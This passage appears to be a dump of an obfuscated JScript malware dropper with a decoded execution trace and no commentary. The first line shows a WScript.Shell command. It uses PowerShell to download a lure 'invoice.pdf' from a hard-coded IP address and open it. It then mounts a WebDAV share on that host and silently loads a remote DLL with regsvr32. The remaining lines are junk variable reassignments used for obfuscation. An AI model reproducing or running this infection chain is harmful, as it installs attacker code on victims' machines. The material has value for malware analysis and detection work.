tcvpxtu + askvvifpy + tcvpxtu + fldjcrkx + lyijzevr + tcvpxtu + ylbjgkp + bcynezgg + khizbbiv + grnjfsgn + khizbbiv + askvvifpy + bcynezgg + lyijzevr + khizbbiv + ryfts + mvxlkdyr + gmokgcmi + gmokgcmi, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\212652703431053.dll",0,false) ➔ 0
14	}
15	uesjzvnxa = "V";
16	uesjzvnxa = "W";
17	uesjzvnxa = "Z";
18	uesjzvnxa = "P";
19	uesjzvnxa = "l";
20	uesjzvnxa = "j";
21	uesjzvnxa = "w";
22	uesjzvnxa = "w";
23	uesjzvnxa = "k";
24	uesjzvnxa = "J";
25	uesjzvnxa = "V";
26	uesjzvnxa = "H";
27	uesjzvnxa = "X";
28	uesjzvnxa = "v";
29	uesjzvnxa = "W";
30	uesjzvnxa = "C";
31	uesjzvnxa = "h";
32	uesjzvnxa = "m";
33	uesjzvnxa = "y";
34	uesjzvnxa = "s";
35	uesjzvnxa = "w";
36	uesjzvnxa = "C";
37	uesjzvnxa = "q";
38	uesjzvnxa = "B";
39	uesjzvnxa = "F";
40	uesjzvnxa = "C";
41	uesjzvnxa = "p";
42	uesjzvnxa = "m";
43	uesjzvnxa = "E";
44	uesjzvnxa = "m";
45	uesjzvnxa = "z";
46	uesjzvnxa = "F";
47	uesjzvnxa = "V";
48	uesjzvnxa = "g";
49	uesjzvnxa = "f";
50	uesjzvnxa = "G";
51	uesjzvnxa = "p";
52	uesjzvnxa = "z";
53	uesjzvnxa = "W";
54	zottehfck = "Z";
55	zottehfck = "b";
56	zottehfck = "N";
57	zottehfck = "r";
58	zottehfck = "P";
59	zottehfck = "e";
60	zottehfck = "M";
61	zottehfck = "h";
62	zottehfck = "m";
63	zottehfck = "G";
64	zottehfck = "h";
65	zottehfck = "c";
66	zottehfck = "e";
67	zottehfck = "u";
68	zottehfck = "S";
69	zottehfck = "t";
70	zottehfck = "v";
71	zottehfck = "w";
72	zottehfck = "j";
73	zottehfck = "P";
74	zottehfck = "Y";
75	zottehfck = "T";
76	zottehfck = "z";
77	zottehfck = "N";
78	zottehfck = "D";
79	zottehfck = "S";
80	zottehfck = "C";
81	zottehfck = "y";
82	zottehfck = "Y";
83	zottehfck = "t";
84	zottehfck = "U";
85	zottehfck = "S";
86	zottehfck = "a";
87	xvzhigl = "w";
88	xvzhigl = "H";
89	xvzhigl = "S";
90	xvzhigl = "c";
91	xvzhigl = "t";
92	xvzhigl = "B";
93	xvzhigl = "P";
94	xvzhigl = "D";
95	xvzhigl = "j";
96	xvzhigl = "V";
97	xvzhigl = "U";
98	xvzhigl = "a";
99	xvzhigl = "d";
100	xvzhigl = "J";
101	xvzhigl = "r";
102	xvzhigl = "y";
103	xvzhigl = "O";
104	xvzhigl = "k";
105	xvzhigl = "M";
106	xvzhigl = "Q";
107	xvzhigl = "b";
108	xvzhigl = "M";
109	xvzhigl = "g";
110	xvzhigl = "E";
111	xvzhigl = "s";
112	xvzhigl = "C";
113	xvzhigl = "X";
114	xvzhigl = "g";
115	xvzhigl = "P";
116	xvzhigl = "c";
117	xvzhigl = "n";
118	yawffhpue = "O";
119	yawffhpue = "D";
120	yawffhpue = "M";
121	yawffhpue = "u";
122	yawffhpue = "h";
123	yawffhpue = "J";
124	yawffhpue = "a";
125	yawffhpue = "T";
126	yawffhpue = "a";
127	yawffhpue = "m";
128	yawffhpue = "U";
129	yawffhpue = "W";
130	yawffhpue = "z";
131	yawffhpue = "E";
132	yawffhpue = "F";
133	yawffhpue = "Y";
134	yawffhpue = "t";
135	yawffhpue = "c";
136	yawffhpue = "y";
137	yawffhpue = "O";
138	uutgkcf = "h";
139	uutgkcf = "p";
140	uutgkcf = "W";
141	uutgkcf = "j";
142	uutgkcf = "c";
143	uutgkcf = "K";
144	uutgkcf = "N";
145	uutgkcf = "Y";
146	uutgkcf = "Q";
147	uutgkcf = "b";
148	uutgkcf = "A";
149	uutgkcf = "s";
150	uutgkcf = "w";
151	uutgkcf = "g";
152	uutgkcf = "i";
153	uutgkcf = "c";
154	uutgkcf = "E";
155	uutgkcf = "t";
156	uutgkcf = "S";
157	uutgkcf = "f";
158	uutgkcf = "h";
159	uutgkcf = "Q";
160	uutgkcf = "G";
161	uutgkcf = "M";
162	uutgkcf = "J";
163	uutgkcf = "v";
164	uutgkcf = "T";
165	uutgkcf = "d";
166	uutgkcf = "D";
167	uutgkcf = "v";
168	uutgkcf = "o";
169	nzevihb = "u";
170	nzevihb = "i";
171	nzevihb = "K";
172	nzevihb = "z";
173	nzevihb = "z";
174	nzevihb = "a";
175	nzevihb = "b";
176	nzevihb = "U";
177	nzevihb = "x";
178	nzevihb = "w";
179	nzevihb = "B";
180	nzevihb = "q";
181	nzevihb = "K";
182	mfzdmfmah = "P";
183	mfzdmfmah = "m";
184	mfzdmfmah = "e";
185	mfzdmfmah = "l";
186	mfzdmfmah = "p";
187	mfzdmfmah = "A";
188	mfzdmfmah = "R";
189	mfzdmfmah = "v";
190	mfzdmfmah = "n";
191	mfzdmfmah = "n";
192	mfzdmfmah = "V";
193	mfzdmfmah = "h";
194	mfzdmfmah = "U";
195	mfzdmfmah = "P";
196	mfzdmfmah = "D";
197	mfzdmfmah = "Z";
198	mfzdmfmah = "g";
199	mfzdmfmah = "h";
200	mfzdmfmah = "y";
201	mfzdmfmah = "I";
202	mfzdmfmah = "L";
203	mfzdmfmah = "t";
204	mfzdmfmah = "a";
205	mfzdmfmah = "H";
206	mfzdmfmah = "J";
207	mfzdmfmah = "Y";
208	mfzdmfmah = "f";
209	mfzdmfmah = "K";
210	mfzdmfmah = "k";
211	mfzdmfmah = "I";
212	mfzdmfmah = "a";
213	mfzdmfmah = "h";
214	wftvukwbj = "B";
215	wftvukwbj = "K";
216	wftvukwbj = "c";
217	wftvukwbj = "R";
218	wftvukwbj = "y";
219	wftvukwbj = "G";
220	wftvukwbj = "o";
221	wftvukwbj = "G";
222	wftvukwbj = "W";
223	wftvukwbj = "j";
224	wftvukwbj = "q";
225	wftvukwbj = "g";
226	wftvukwbj = "r";
227	wftvukwbj = "L";
228	wftvukwbj = "l";
229	wftvukwbj = "c";
230	wftvukwbj = "T";
231	wftvukwbj = "P";
232	wftvukwbj = "u";
233	wftvukwbj = "L";
234	wftvukwbj = "Y";
235	wftvukwbj = "B";
236	wftvukwbj = "L";
237	wftvukwbj = "i";
238	wftvukwbj = "A";
239	wftvukwbj = "a";
240	wftvukwbj = "q";
241	wftvukwbj = "A";
242	wftvukwbj = "i";
243	wftvukwbj = "l";
244	wftvukwbj = "o";
245	wftvukwbj = "y";
246	wftvukwbj = "v";
247	wftvukwbj = "u";
248	wftvukwbj = "j";
249	tcvpxtu = "W";
250	tcvpxtu = "y";
251	tcvpxtu = "y";
252	tcvpxtu = "2";
253	xhahgqow = "c";
254	xhahgqow = "g";
255	xhahgqow = "f";
256	xhahgqow = "W";
257	xhahgqow = "m";
258	xhahgqow = "g";
259	xhahgqow = "w";
260	xhahgqow = "F";
261	xhahgqow = "\"";
262	conlw = "g";
263	conlw = "I";
264	conlw = "n";
265	conlw = "b";
266	einlu = "a";
267	einlu = "F";
268	einlu = "M";
269	einlu = "W";
270	einlu = "E";
271	einlu = "X";
272	einlu = "X";
273	einlu = "Q";
274	einlu = "q";
275	einlu = "l";
276	einlu = "K";
277	einlu = "Y";
278	einlu = "Y";
279	einlu = "M";
280	einlu = "N";
281	einlu = "U";
282	einlu = "S";
283	einlu = "i";
284	einlu = "S";
285	einlu = "k";
286	einlu = "d";
287	einlu = "X";
288	einlu = "s";
289	einlu = "z";
290	einlu = "d";
291	einlu = "X";
292	einlu = "e";
293	einlu = "f";
294	einlu = "B";
295	einlu = "u";
296	einlu = "U";
297	einlu = "A";
298	einlu = "s";
299	vaogmj = "B";
300	vaogmj = "W";
301	vaogmj = "W";
302	vaogmj = "L";
303	vaogmj = "o";
304	vaogmj = "k";
305	vaogmj = "c";
306	vaogmj = "s";
307	vaogmj = "G";
308	vaogmj = "B";
309	vaogmj = "t";
310	vaogmj = "c";
311	vaogmj = "x";
312	vaogmj = "J";
313	vaogmj = "Z";
314	vaogmj = "H";
315	vaogmj = "Z";
316	vaogmj = "k";
317	vaogmj = "F";
318	vaogmj = "G";
319	vaogmj = "G";
320	vaogmj = "F";
321	vaogmj = "k";
322	vaogmj = "x";
323	vaogmj = "W";
324	vaogmj = "l";
325	vaogmj = "q";
326	vaogmj = "v";
327	vaogmj = "q";
328	vaogmj = "N";
329	vaogmj = "z";
330	vaogmj = "e";
331	vaogmj = "y";
332	vaogmj = "T";
333	vaogmj = "w";
334	vaogmj = "L";
335	vaogmj = "H";
336	vaogmj = "J";
337	vaogmj = "K";
338	vaogmj = "p";
339	vaogmj = "&";
340	qkgwgeg = "s";
341	qkgwgeg = "s";
342	qkgwgeg = "Z";
343	qkgwgeg = "W";
344	qkgwgeg = "e";
345	qkgwgeg = "E";
346	qkgwgeg = "O";
347	qkgwgeg = "W";
348	qkgwgeg = "I";
349	ryfts = "o";
350	ryfts = "n";
351	ryfts = "o";
352	ryfts = "E";
353	ryfts = "L";
354	ryfts = "G";
355	ryfts = "s";
356	ryfts = "C";
357	ryfts = "u";
358	ryfts = "i";
359	ryfts = "y";
360	ryfts = "Y";
361	ryfts = "w";
362	ryfts = "z";
363	ryfts = "x";
364	ryfts = "v";
365	ryfts = "T";
366	ryfts = "U";
367	ryfts = "j";
368	ryfts = "a";
369	ryfts = "g";
370	ryfts = "Y";
371	ryfts = "X";
372	ryfts = "i";
373	ryfts = ".";
374	cyshk = "O";
375	cyshk = "B";
376	cyshk = "Q";
377	cyshk = "P";
378	cyshk = "N";
379	cyshk = "S";
380	cyshk = "H";
381	cyshk = "m";
382	cyshk = "d";
383	cyshk = "I";
384	cyshk = "f";
385	cyshk = "S";
386	cyshk = "w";
387	cyshk = "x";
388	cyshk = "V";
389	cyshk = "F";
390	cyshk = "L";
391	cyshk = "R";
392	cyshk = "%";
393	sjvre = "X";
394	sjvre = "F";
395	sjvre = "F";
396	sjvre = "u";
397	sjvre = "E";
398	sjvre = "a";
399	sjvre = "j";
400	sjvre = "Z";
401	sjvre = "U";
402	sjvre = "E";
403	sjvre = "B";
404	sjvre = "o";
405	sjvre = "d";
406	sjvre = "s";
407	sjvre = "q";
408	sjvre = "l";
409	sjvre = "S";
410	sjvre = "w";
411	sjvre = "G";
412	sjvre = "C";
413	sjvre = "H";
414	sjvre = "X";
415	sjvre = "A";
416	sjvre = "y";
417	sjvre = "q";
418	sjvre = "T";
419	sjvre = "W";
420	sjvre = "B";
421	sjvre = "P";
422	sjvre = "l";
423	sjvre = "D";
424	sjvre = "u";
425	sjvre = "B";
426	sjvre = "v";
427	sjvre = "p";
428	sjvre = "U";
429	sjvre = "B";
430	sjvre = "A";
431	sjvre = "J";
432	sjvre = "c";
433	sjvre = "R";
434	sjvre = "x";
435	sjvre = "V";
436	sjvre = "E";
437	sjvre = "u";
438	ilanhse = "L";
439	ilanhse = "g";
440	ilanhse = "p";
441	ilanhse = "I";
442	ilanhse = "S";
443	ilanhse = "Q";
444	ilanhse = "Z";
445	ilanhse = "P";
446	ilanhse = "p";
447	ilanhse = "L";
448	ilanhse = "V";
449	ilanhse = "S";
450	ilanhse = "L";
451	ilanhse = "S";
452	ilanhse = "U";
453	ilanhse = "u";
454	ilanhse = "y";
455	ilanhse = "G";
456	ilanhse = "d";
457	ilanhse = "J";
458	ilanhse = "E";
459	ilanhse = "Y";
460	ilanhse = "x";
461	ilanhse = "o";
462	ilanhse = "W";
463	ilanhse = "t";
464	ilanhse = "K";
465	ilanhse = "o";
466	ilanhse = "E";
467	ilanhse = "P";
468	oqamhe = "b";
469	oqamhe = "o";
470	oqamhe = "Q";
471	oqamhe = "Z";
472	oqamhe = "g";
473	oqamhe = "j";
474	oqamhe = "g";
475	oqamhe = "I";
476	oqamhe = "d";
477	oqamhe = "O";
478	oqamhe = "w";
479	oqamhe = "i";
480	oqamhe = "o";
481	oqamhe = "S";
482	oqamhe = "S";
483	oqamhe = "O";
484	oqamhe = "x";
485	oqamhe = "J";
486	oqamhe = "A";
487	oqamhe = "J";
488	oqamhe = "z";
489	oqamhe = "x";
490	oqamhe = "I";
491	oqamhe = "w";
492	oqamhe = "M";
493	oqamhe = "p";
494	oqamhe = "m";
495	mvxlkdyr = "T";
496	mvxlkdyr = "C";
497	mvxlkdyr = "Q";
498	mvxlkdyr = "j";
499	mvxlkdyr = "k";
500	mvxlkdyr = "k";
501	mvxlkdyr = "N";
502	mvxlkdyr = "N";
503	mvxlkdyr = "U";
504	mvxlkdyr = "L";
505	mvxlkdyr = "s";
506	mvxlkdyr = "q";
507	mvxlkdyr = "u";
508	mvxlkdyr = "D";
509	mvxlkdyr = "d";
510	tsvapnkcc = "Y";
511	tsvapnkcc = "d";
512	tsvapnkcc = "o";
513	tsvapnkcc = "T";
514	tsvapnkcc = "K";
515	tsvapnkcc = "B";
516	tsvapnkcc = "T";
517	tsvapnkcc = "x";
518	tsvapnkcc = "Z";
519	tsvapnkcc = "9";
520	bcynezgg = "a";
521	bcynezgg = "E";
522	bcynezgg = "Z";
523	bcynezgg = "t";
524	bcynezgg = "m";
525	bcynezgg = "c";
526	bcynezgg = "x";
527	bcynezgg = "s";
528	bcynezgg = "l";
529	bcynezgg = "z";
530	bcynezgg = "C";
531	bcynezgg = "0";
532	myddeq = "Y";
533	myddeq = "Q";
534	myddeq = "l";
535	myddeq = "x";
536	myddeq = "E";
537	myddeq = "Y";
538	myddeq = "o";
539	myddeq = "y";
540	myddeq = "r";
541	myddeq = "e";
542	myddeq = "V";
543	myddeq = "y";
544	myddeq = "W";
545	myddeq = "V";
546	myddeq = "X";
547	myddeq = "M";
548	myddeq = "U";
549	myddeq = "n";
550	myddeq = "R";
551	myddeq = "j";
552	myddeq = "z";
553	myddeq = "L";
554	myddeq = "f";
555	myddeq = "c";
556	myddeq = "p";
557	myddeq = "P";
558	myddeq = "u";
559	myddeq = "Z";
560	myddeq = "G";
561	myddeq = "f";
562	myddeq = "j";
563	myddeq = "p";
564	myddeq = " ";
565	zlierfhtr = "S";
566	zlierfhtr = "D";
567	zlierfhtr = "Y";
568	zlierfhtr = "Y";
569	zlierfhtr = "N";
570	zlierfhtr = "w";
571	zlierfhtr = "d";
572	zlierfhtr = "U";
573	zlierfhtr = "G";
574	zlierfhtr = "E";
575	zlierfhtr = "D";
576	zlierfhtr = "m";
577	zlierfhtr = "D";
578	zlierfhtr = "l";
579	zlierfhtr = "b";
580	zlierfhtr = "S";
581	zlierfhtr = "D";
582	zlierfhtr = "B";
583	zlierfhtr = "C";
584	zlierfhtr = "z";
585	zlierfhtr = "V";
586	zlierfhtr = "N";
587	zlierfhtr = "m";
588	zlierfhtr = "z";
589	zlierfhtr = "e";
590	zlierfhtr = "i";
591	zlierfhtr = "r";
592	zlierfhtr = "y";
593	zlierfhtr = "E";
594	zlierfhtr = "w";
595	zlierfhtr = "d";
596	zlierfhtr = "A";
597	zlierfhtr = "V";
598	zlierfhtr = "V";
599	zlierfhtr = "N";
600	zlierfhtr = "O";
601	zlierfhtr = "i";
602	zlierfhtr = "v";
603	zlierfhtr = "U";
604	ylbjgkp = "w";
605	ylbjgkp = "c";
606	ylbjgkp = "q";
607	ylbjgkp = "i";
608	ylbjgkp = "p";
609	ylbjgkp = "i";
610	ylbjgkp = "l";
611	ylbjgkp = "F";
612	ylbjgkp = "L";
613	ylbjgkp = "E";
614	ylbjgkp = "s";
615	ylbjgkp = "D";
616	ylbjgkp = "x";
617	ylbjgkp = "d";
618	ylbjgkp = "O";
619	ylbjgkp = "g";
620	ylbjgkp = "7";
621	ajrnm = "i";
622	ajrnm = "s";
623	ajrnm = "n";
624	ajrnm = "C";
625	ajrnm = "E";
626	ajrnm = "l";
627	ajrnm = "b";
628	ajrnm = "L";
629	ajrnm = "o";
630	ajrnm = "E";
631	ajrnm = "V";
632	ajrnm = "N";
633	ajrnm = "b";
634	ajrnm = "I";
635	ajrnm = "n";
636	ajrnm = "o";
637	ajrnm = "u";
638	ajrnm = "n";
639	ajrnm = "R";
640	ajrnm = "z";
641	ajrnm = "U";
642	ajrnm = "E";
643	ajrnm = "M";
644	ajrnm = "K";
645	ajrnm = "R";
646	ajrnm = "w";
647	ajrnm = "k";
648	ajrnm = "T";
649	ajrnm = "H";
650	ajrnm = "h";
651	ajrnm = "G";
652	ajrnm = "M";
653	ajrnm = "w";
654	ajrnm = "F";
655	ajrnm = "x";
656	qximod = "V";
657	qximod = "C";
658	qximod = "X";
659	qximod = "g";
660	qximod = "G";
661	qximod = "w";
662	qximod = "m";
663	qximod = "q";
664	qximod = "y";
665	qximod = "h";
666	qximod = "J";
667	qximod = "J";
668	qximod = "N";
669	qximod = "L";
670	qximod = "H";
671	qximod = "n";
672	qximod = "P";
673	qximod = "h";
674	qximod = "r";
675	qximod = "a";
676	qximod = "l";
677	qximod = "U";
678	qximod = "g";
679	qximod = "i";
680	qximod = "c";
681	qximod = "g";
682	qximod = "x";
683	qximod = "A";
684	qximod = "N";
685	qximod = "q";
686	qximod = "V";
687	qximod = "E";
688	qximod = "H";
689	qximod = "y";
690	qximod = "d";
691	qximod = "X";
692	qximod = "Y";
693	qximod = "p";
694	qximod = "Y";
695	qximod = "I";
696	qximod = "q";
697	qximod = "Q";
698	zxxkjwrq = "C";
699	zxxkjwrq = "C";
700	zxxkjwrq = "A";
701	zxxkjwrq = "l";
702	zxxkjwrq = "a";
703	zxxkjwrq = "a";
704	zxxkjwrq = "Z";
705	zxxkjwrq = "k";
706	zxxkjwrq = "I";
707	zxxkjwrq = "e";
708	zxxkjwrq = "o";
709	zxxkjwrq = "m";
710	zxxkjwrq = "G";
711	zxxkjwrq = "q";
712	zxxkjwrq = "U";
713	zxxkjwrq = "R";
714	zxxkjwrq = "r";
715	zxxkjwrq = "d";
716	zxxkjwrq = "Y";
717	zxxkjwrq = "y";
718	zxxkjwrq = "C";
719	zxxkjwrq = "B";
720	zxxkjwrq = "q";
721	zxxkjwrq = "x";
722	zxxkjwrq = "t";
723	zxxkjwrq = "e";
724	zxxkjwrq = "V";
725	zxxkjwrq = "T";
726	zxxkjwrq = "S";
727	zxxkjwrq = "F";
728	zxxkjwrq = "n";
729	zxxkjwrq = "R";
730	zxxkjwrq = "y";
731	zxxkjwrq = "s";
732	zxxkjwrq = "i";
733	zxxkjwrq = "p";
734	zxxkjwrq = "T";
735	zxxkjwrq = "r";
736	zxxkjwrq = "n";
737	zxxkjwrq = "N";
738	zxxkjwrq = "R";
739	zxxkjwrq = "d";
740	zxxkjwrq = "I";
741	zxxkjwrq = "@";
742	vtjzor = "i";
743	vtjzor = "j";
744	vtjzor = "N";
745	vtjzor = "i";
746	vtjzor = "n";
747	vtjzor = "u";
748	vtjzor = "S";
749	vtjzor = "j";
750	vtjzor = "t";
751	vtjzor = "v";
752	vtjzor = "u";
753	vtjzor = "V";
754	vtjzor = "h";
755	vtjzor = "i";
756	vtjzor = "O";
757	vtjzor = "l";
758	vtjzor = "l";
759	vtjzor = "z";
760	vtjzor = "k";
761	vtjzor = "e";
762	vtjzor = "q";
763	vtjzor = "M";
764	vtjzor = "o";
765	vtjzor = "e";
766	vtjzor = "M";
767	vtjzor = "z";
768	vtjzor = "v";
769	vtjzor = "L";
770	vtjzor = "o";
771	vtjzor = "r";
772	vtjzor = "j";
773	vtjzor = "F";
774	fldjcrkx = "s";
775	fldjcrkx = "o";
776	fldjcrkx = "w";
777	fldjcrkx = "Q";
778	fldjcrkx = "p";
779	fldjcrkx = "O";
780	fldjcrkx = "T";
781	fldjcrkx = "G";
782	fldjcrkx = "Z";
783	fldjcrkx = "J";
784	fldjcrkx = "6";
785	ruhdfjpt = "k";
786	ruhdfjpt = "I";
787	ruhdfjpt = "W";
788	ruhdfjpt = "i";
789	ruhdfjpt = "D";
790	ruhdfjpt = "H";
791	ruhdfjpt = "e";
792	obpzywk = "F";
793	obpzywk = "y";
794	obpzywk = "u";
795	obpzywk = "Y";
796	obpzywk = "u";
797	obpzywk = "I";
798	obpzywk = "g";
799	obpzywk = "S";
800	obpzywk = "o";
801	obpzywk = "p";
802	obpzywk = "/";
803	nqvqma = "A";
804	nqvqma = "f";
805	nqvqma = "n";
806	nqvqma = "w";
807	nqvqma = "k";
808	nqvqma = "g";
809	nqvqma = "a";
810	nqvqma = "r";
811	nqvqma = "U";
812	nqvqma = "f";
813	nqvqma = "b";
814	nqvqma = "f";
815	nqvqma = "G";
816	nqvqma = "L";
817	nqvqma = "d";
818	nqvqma = "d";
819	nqvqma = "Z";
820	nqvqma = "J";
821	nqvqma = "W";
822	nqvqma = "j";
823	nqvqma = "i";
824	nqvqma = "v";
825	nqvqma = "C";
826	nqvqma = "S";
827	nqvqma = "O";
828	nqvqma = "S";
829	nqvqma = "Z";
830	nqvqma = "W";
831	nqvqma = "s";
832	nqvqma = "S";
833	gmokgcmi = "k";
834	gmokgcmi = "j";
835	gmokgcmi = "E";
836	gmokgcmi = "a";
837	gmokgcmi = "p";
838	gmokgcmi = "u";
839	gmokgcmi = "t";
840	gmokgcmi = "s";
841	gmokgcmi = "t";
842	gmokgcmi = "G";
843	gmokgcmi = "m";
844	gmokgcmi = "Q";
845	gmokgcmi = "t";
846	gmokgcmi = "C";
847	gmokgcmi = "D";
848	gmokgcmi = "T";
849	gmokgcmi = "I";
850	gmokgcmi = "l";
851	gmokgcmi = "m";
852	gmokgcmi = "L";
853	gmokgcmi = "l";
854	gmokgcmi = "n";
855	gmokgcmi = "Z";
856	gmokgcmi = "U";
857	gmokgcmi = "m";
858	gmokgcmi = "n";
859	gmokgcmi = "A";
860	gmokgcmi = "z";
861	gmokgcmi = "b";
862	gmokgcmi = "X";
863	gmokgcmi = "K";
864	gmokgcmi = "Q";
865	gmokgcmi = "i";
866	gmokgcmi = "e";
867	gmokgcmi = "I";
868	gmokgcmi = "d";
869	gmokgcmi = "g";
870	gmokgcmi = "s";
871	gmokgcmi = "l";
872	gmokgcmi = "q";
873	gmokgcmi = "z";
874	gmokgcmi = "b";
875	gmokgcmi = "l";
876	khizbbiv = "Q";
877	khizbbiv = "s";
878	khizbbiv = "r";
879	khizbbiv = "D";
880	khizbbiv = "E";
881	khizbbiv = "d";
882	khizbbiv = "k";
883	khizbbiv = "f";
884	khizbbiv = "M";
885	khizbbiv = "F";
886	khizbbiv = "O";
887	khizbbiv = "D";
888	khizbbiv = "Q";
889	khizbbiv = "L";
890	khizbbiv = "s";
891	khizbbiv = "h";
892	khizbbiv = "R";
893	khizbbiv = "D";
894	khizbbiv = "n";
895	khizbbiv = "p";
896	khizbbiv = "W";
897	khizbbiv = "v";
898	khizbbiv = "F";
899	khizbbiv = "S";
900	khizbbiv = "M";
901	khizbbiv = "h";
902	khizbbiv = "C";
903	khizbbiv = "t";
904	khizbbiv = "X";
905	khizbbiv = "H";
906	khizbbiv = "A";
907	khizbbiv = "a";
908	khizbbiv = "a";
909	khizbbiv = "z";
910	khizbbiv = "q";
911	khizbbiv = "d";
912	khizbbiv = "Z";
913	khizbbiv = "H";
914	khizbbiv = "K";
915	khizbbiv = "j";
916	khizbbiv = "x";
917	khizbbiv = "X";
918	khizbbiv = "n";
919	khizbbiv = "L";
920	khizbbiv = "3";
921	lyijzevr = "r";
922	lyijzevr = "Y";
923	lyijzevr = "s";
924	lyijzevr = "W";
925	lyijzevr = "N";
926	lyijzevr = "e";
927	lyijzevr = "j";
928	lyijzevr = "f";
929	lyijzevr = "O";
930	lyijzevr = "h";
931	lyijzevr = "m";
932	lyijzevr = "m";
933	lyijzevr = "f";
934	lyijzevr = "c";
935	lyijzevr = "y";
936	lyijzevr = "o";
937	lyijzevr = "n";
938	lyijzevr = "O";
939	lyijzevr = "r";
940	lyijzevr = "j";
941	lyijzevr = "5";
942	awhbch = "L";
943	awhbch = "h";
944	awhbch = "A";
945	awhbch = "Z";
946	awhbch = "j";
947	awhbch = "n";
948	awhbch = "G";
949	awhbch = "i";
950	awhbch = "g";
951	awhbch = "V";
952	awhbch = "g";
953	awhbch = "x";
954	awhbch = "Y";
955	awhbch = "d";
956	awhbch = "g";
957	odmohy = "b";
958	odmohy = "C";
959	odmohy = "A";
960	odmohy = "O";
961	odmohy = "H";
962	odmohy = "E";
963	odmohy = "m";
964	odmohy = "X";
965	odmohy = "P";
966	odmohy = "I";
967	odmohy = "G";
968	odmohy = "t";
969	odmohy = "u";
970	odmohy = "E";
971	odmohy = "k";
972	odmohy = "T";
973	odmohy = "o";
974	odmohy = "b";
975	odmohy = "c";
976	odmohy = "y";
977	odmohy = "i";
978	odmohy = "i";
979	odmohy = "y";
980	odmohy = "W";
981	odmohy = "n";
982	odmohy = "h";
983	odmohy = "G";
984	odmohy = "X";
985	odmohy = "G";
986	odmohy = "q";
987	odmohy = "C";
988	odmohy = "g";
989	odmohy = "Y";
990	odmohy = "s";
991	odmohy = "C";
992	odmohy = "D";
993	odmohy = "G";
994	odmohy = "N";
995	odmohy = "h";
996	odmohy = "Z";
997	odmohy = "t";
998	odmohy = "j";
999	odmohy = "q";
1000	syrlp = "F";
1001	syrlp = "L";
1002	syrlp = "X";
1003	syrlp = "x";
1004	syrlp = "P";
1005	syrlp = "j";
1006	syrlp = "k";
1007	syrlp = "f";
1008	syrlp = "f";
1009	syrlp = "Q";
1010	syrlp = "V";
1011	syrlp = "L";
1012	syrlp = "k";
1013	akojm = "y";
1014	akojm = "B";
1015	akojm = "y";
1016	akojm = "k";
1017	akojm = "c";
1018	akojm = "Q";
1019	akojm = "u";
1020	akojm = "k";
1021	akojm = "L";
1022	akojm = "q";
1023	akojm = "Y";
1024	akojm = "i";
1025	akojm = "B";
1026	akojm = "r";
1027	akojm = "h";
1028	akojm = "y";
1029	akojm = "d";
1030	akojm = "g";
1031	akojm = "Q";
1032	akojm = "l";
1033	akojm = "F";
1034	akojm = "q";
1035	akojm = "M";
1036	akojm = "Z";
1037	akojm = "j";
1038	akojm = "E";
1039	akojm = "b";
1040	akojm = "N";
1041	akojm = "i";
1042	akojm = "o";
1043	akojm = "B";
1044	akojm = "X";
1045	akojm = "f";
1046	akojm = "E";
1047	akojm = "O";
1048	akojm = "u";
1049	akojm = "v";
1050	akojm = "d";
1051	akojm = "T";
1052	wkfwqr = "h";
1053	wkfwqr = "Q";
1054	wkfwqr = "g";
1055	wkfwqr = "I";
1056	wkfwqr = "g";
1057	wkfwqr = "T";
1058	wkfwqr = "s";
1059	wkfwqr = "q";
1060	wkfwqr = "U";
1061	wkfwqr = "S";
1062	wkfwqr = "P";
1063	wkfwqr = "Y";
1064	wkfwqr = "Q";
1065	wkfwqr = "Q";
1066	wkfwqr = "C";
1067	wkfwqr = "D";
1068	wkfwqr = "M";
1069	wkfwqr = "k";
1070	wkfwqr = "Z";
1071	wkfwqr = "N";
1072	wkfwqr = "S";
1073	wkfwqr = "C";
1074	wkfwqr = "f";
1075	wkfwqr = "e";
1076	wkfwqr = "s";
1077	wkfwqr = "f";
1078	wkfwqr = "H";
1079	wkfwqr = "b";
1080	wkfwqr = "U";
1081	wkfwqr = "p";
1082	wkfwqr = "k";
1083	wkfwqr = "E";
1084	wkfwqr = "G";
1085	wkfwqr = "x";
1086	wkfwqr = "C";
1087	wkfwqr = "H";
1088	nuhbgfaqq = "c";
1089	nuhbgfaqq = "z";
1090	nuhbgfaqq = "L";
1091	nuhbgfaqq = "N";
1092	nuhbgfaqq = "M";
1093	nuhbgfaqq = "z";
1094	nuhbgfaqq = "C";
1095	nuhbgfaqq = "w";
1096	nuhbgfaqq = "W";
1097	nuhbgfaqq = "g";
1098	nuhbgfaqq = "S";
1099	nuhbgfaqq = "f";
1100	nuhbgfaqq = "Y";
1101	nuhbgfaqq = "D";
1102	nuhbgfaqq = "B";
1103	nuhbgfaqq = "I";
1104	nuhbgfaqq = "S";
1105	nuhbgfaqq = "B";
1106	nuhbgfaqq = "L";
1107	nuhbgfaqq = "s";
1108	nuhbgfaqq = "m";
1109	nuhbgfaqq = "X";
1110	nuhbgfaqq = "w";
1111	nuhbgfaqq = "V";
1112	nuhbgfaqq = "Z";
1113	nuhbgfaqq = "p";
1114	nuhbgfaqq = "E";
1115	nuhbgfaqq = "i";
1116	nuhbgfaqq = "j";
1117	nuhbgfaqq = "Q";
1118	nuhbgfaqq = "m";
1119	nuhbgfaqq = "n";
1120	nuhbgfaqq = "K";
1121	nuhbgfaqq = "z";
1122	nuhbgfaqq = "Q";
1123	nuhbgfaqq = "M";
1124	nuhbgfaqq = "Z";
1125	nuhbgfaqq = "S";
1126	nuhbgfaqq = "K";
1127	nuhbgfaqq = "y";
1128	nuhbgfaqq = "F";
1129	nuhbgfaqq = "B";
1130	nuhbgfaqq = "O";
1131	nuhbgfaqq = "C";
1132	nuhbgfaqq = ":";
1133	ufrwxnmxo = "t";
1134	ufrwxnmxo = "W";
1135	ufrwxnmxo = "e";
1136	ufrwxnmxo = "s";
1137	ufrwxnmxo = "J";
1138	ufrwxnmxo = "J";
1139	ufrwxnmxo = "S";
1140	ufrwxnmxo = "Q";
1141	ufrwxnmxo = "o";
1142	ufrwxnmxo = "b";
1143	ufrwxnmxo = "Q";
1144	ufrwxnmxo = "G";
1145	ufrwxnmxo = "Y";
1146	ufrwxnmxo = "k";
1147	ufrwxnmxo = "t";
1148	ufrwxnmxo = "Q";
1149	ufrwxnmxo = "j";
1150	ufrwxnmxo = "J";
1151	ufrwxnmxo = "J";
